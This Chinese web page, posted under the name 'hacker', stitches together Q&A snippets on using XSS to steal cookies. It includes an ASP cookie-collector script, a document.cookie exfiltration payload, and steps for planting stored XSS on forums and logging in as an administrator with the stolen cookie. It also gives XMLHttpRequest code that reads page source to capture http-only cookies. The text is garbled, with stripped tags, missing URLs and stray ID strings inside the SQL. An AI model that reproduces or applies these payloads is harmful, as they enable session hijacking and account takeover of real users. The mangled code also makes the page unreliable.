xss获取源码-xss代码怎么用

第三方分享代码
hacker 2年前 (2023-01-13) 软件技术 322 5

目录介绍:

xss 漏洞修复室 alert('xss'),应该放在哪?我的站源码如下:

%

classtype=request.QueryString("classtype")

bigclass=request.QueryString("bigclass")

if bigclass="daa9-9161-740b-0799 " then

rs.open "select * from news where ntype='" classtype " ' order by id desc",dconn,1,1

bigclass=rs("bigclass")

end if

rs.open "select * from news where bigclass='0799-1d60-c3ac-0fa5 " bigclass "' order by id desc",dconn,1,1

%

scriptalert('xss')/script

xss漏洞获取cookie怎么解决方案

XSS获取cookie并利用

获取cookie利用代码cookie.asp

html

titlexx/title

body

%testfile = Server.MapPath('code.txt') //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中

msg = Request('msg') //获取提交过来的msg变量,也就是cookie值

set fs = server.CreateObject('scripting.filesystemobject')//创建一个fs对象

set thisfile = fs.OpenTextFile(testfile,8,True,0)

thisfile.WriteLine(''msg'')//像code.txt中写入获取来的cookie

thisfile.close() //关闭

set fs = nothing%

/body

/html

把上述文件保存为cookie.asp文件,放到你自己的网站服务器下。比如这里我们自己搭建的服务器为:。

XSS构造语句

scriptwindow.open(''+document.cookie)/script

把上述语句放到你找到的存在XSS的目标中,不过这里最好是存储型xss,比如你找到了某个博客或者论坛什么的存在存储型XSS,你在里面发一篇帖子或者留上你的评论,内容就是上述语句,当其他用户或者管理员打开这个评论或者帖子链接后,就会触发,然后跳转到的页面,然后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。。。。。。

简单步骤如下:

1、在存在漏洞的论坛中发日志:

X

2、然后以管理远登陆,进入后页面会跳转,此时cookie就发送到你的服务器下的code.txt文件中了:

3、这是没有账户前的登陆界面:

4、打开firefox的Tamper Data插件,点击Start Tamper开始抓取信息,刷新登陆界面,然后会跳出对话框,点击Tamper按钮,在途中的cookie一栏中替换掉你抓取到的cookie,单击确定发送请求数据:

5、替换cookie后不用输用户名密码就顺利进入管理员账户了:

如何通过 XSS 获取受 http-only さcookie

该测试页返回了完整的http头,其中也包括了完整的cookie。混贴吧圈的应该都知道BDUSS是最关键的字段,同时该字段是受http-only保护的,百度SRC之前也因此下调了XSS的评分标准。

02.jpg

这样,我们只要利用XSS平台的"指定页面源码读取"模块即可通过XSS获取用户的完整cookie。该模块代码如下:

code 区域

var u = ';id={projectId}';

var cr;

if (document.charset) {

cr = document.charset

} else if (document.characterSet) {

cr = document.characterSet

};

function createXmlHttp() {

if (window.XMLHttpRequest) {

xmlHttp = new XMLHttpRequest()

} else {

var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');

for (var n = 0; n MSXML.length; n++) {

try {

xmlHttp = new ActiveXObject(MSXML[n]);

break

} catch(e) {}

}

}

}

createXmlHttp();

xmlHttp.onreadystatechange = writeSource;

xmlHttp.open("GET", "", true);

xmlHttp.send(null);

function postSource(cc) {

createXmlHttp();

url = u;

cc = "mycode=" + cc;

xmlHttp.open("POST", url, true);

xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

xmlHttp.setRequestHeader("Content-length", cc.length);

xmlHttp.setRequestHeader("Connection", "close");

xmlHttp.send(cc)

}

function writeSource() {

if (xmlHttp.readyState == 4) {

var c = new postSource(xmlHttp.responseText)

}

}

由于是用xmlHttpRequest的形式读源码,且 的 Access-Control-Allow-Origin 为空,即默认不允许跨域,所以我们必须在同域下才能用xmlHttpRequest获取到完整的cookie。

我在 中有提到, 可以自由构造XSS。我们向该页面写入如下代码:

code 区域

titlewooyun.org/title

p超威蓝猫@wooyun.org/p

script src=;/script

如何通过 XSS 获取受 http

要想获得xss,首先得有xss漏洞

引起XSS的主要原因是因为在前端在对用户输入的字符的过滤上没有过滤完全,导致用户输入的代码被执行。

要想获取XSS。

首先,你先确定输入的地方有XSS,一般来说来测试,就是在输入的地方使用javascript输入

javascri pt:alert('XSS')

如果在页面上弹出一个框,则证明有XSS漏洞

然后就可以使用javascript 来进行各种渗透,比如获取管理员cookie,蠕虫,等等漏洞

具体的原理,太多,写出来不方便,可以看百度百科

如何测试XSS漏洞

XSS跨站漏洞分为大致三种:储存型XSS,反射型XSS,和DOM型XSS,一般都是由于网站对用户输入的参数过滤不严格而调用浏览器的JS而产生的。XSS几乎每个网站都存在,google,百度,360等都存在,存在和危害范围广,危害安全性大。

具体利用的话:

储存型XSS,一般是构造一个比如说"scriptalert("XSS")/script"的JS的弹窗代码进行测试,看是否提交后在页面弹窗,这种储存型XSS是被写入到页面当中的,如果管理员不处理,那么将永久存在,这种XSS攻击者可以通过留言等提交方式,把恶意代码植入到服务器网站上, 一般用于盗取COOKIE获取管理员的信息和权限。

反射型XSS,一般是在浏览器的输入栏也就是urlget请求那里输入XSS代码,例如:127.0.0.1/admin.php?key="scriptalert("xss")/script,也是弹窗JS代码。当攻击者发送一个带有XSS代码的url参数给受害者,那么受害者可能会使自己的cookie被盗取或者“弹框“,这种XSS一次性使用,危害比储存型要小很多。

dom型:常用于挖掘,是因为api代码审计不严所产生的,这种dom的XSS弹窗可利用和危害性并不是很大,大多用于钓鱼。比起存储型和反射型,DOM型并不常用。

缺点:

1、耗时间

2、有一定几率不成功

3、没有相应的软件来完成自动化攻击

4、前期需要基本的html、js功底,后期需要扎实的html、js、actionscript2/3.0等语言的功底

5、是一种被动的攻击手法

6、对website有http-only、crossdomian.xml没有用

所以楼主如果想更加深层次的学习XSS的话,最好有扎实的前后端开发基础,还要学会代码审计等等。

推荐的话,书籍建议看看《白帽子讲web安全》,《XSS跨站脚本攻击剖析与防御》

一般配合的话,kalilinux里面的BEFF是个很著名的XSS漏洞利用工具,楼主有兴趣可以去看看。

纯手工打字,望楼主采纳。

不同标签获取cookie的xss命令

不同标签获取cookie的xss命令的方法一样,具体方法如下。

1、首先写一个获取cookie的脚本。

2、将该脚本上传到目录。

3、将构造的XSS的payload插入到DVWA页面。

4、去虚拟机里面查看,发现获取到了当前用户的cookie即可。

相关推荐

网友评论

  • (*)

最新评论

  • 访客 2023-01-13 04:11:25 回复

    60等都存在,存在和危害范围广,危害安全性大。具体利用的话:储存型XSS,一般是构造一个比如说"scriptalert("XSS")/script"的JS的弹窗代码进行测试,看是否提交后在页面弹窗,这种储存型XSS是被写入到页面当中的,如果管理员不处理,那么将永久存在,这种XSS

    1
  • 访客 2023-01-13 08:12:12 回复

    者管理员打开这个评论或者帖子链接后,就会触发,然后跳转到的页面,然后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。。。。。。简单步骤如下:1、在存在漏洞的论坛中发日志:X2、然后以管理远登陆,进入后页面会跳转,此时cookie

    2
  • 访客 2023-01-13 11:00:25 回复

    LHTTP'); for (var n = 0; n MSXML.length; n++) { try { xmlHttp = new Active

    3
  • 访客 2023-01-13 11:30:12 回复

    = Request('msg') //获取提交过来的msg变量,也就是cookie值set fs = server.CreateObject('scripting.filesystemobject')//创建一个fs对象set thisfile = fs.OpenTextFi

    4
  • 访客 2023-01-13 08:12:02 回复

    XSS跨站漏洞分为大致三种:储存型XSS,反射型XSS,和DOM型XSS,一般都是由于网站对用户输入的参数过滤不严格而调用浏览器的JS而产生的。XSS几乎每个网站都存在,google,百度,360等都存在

    5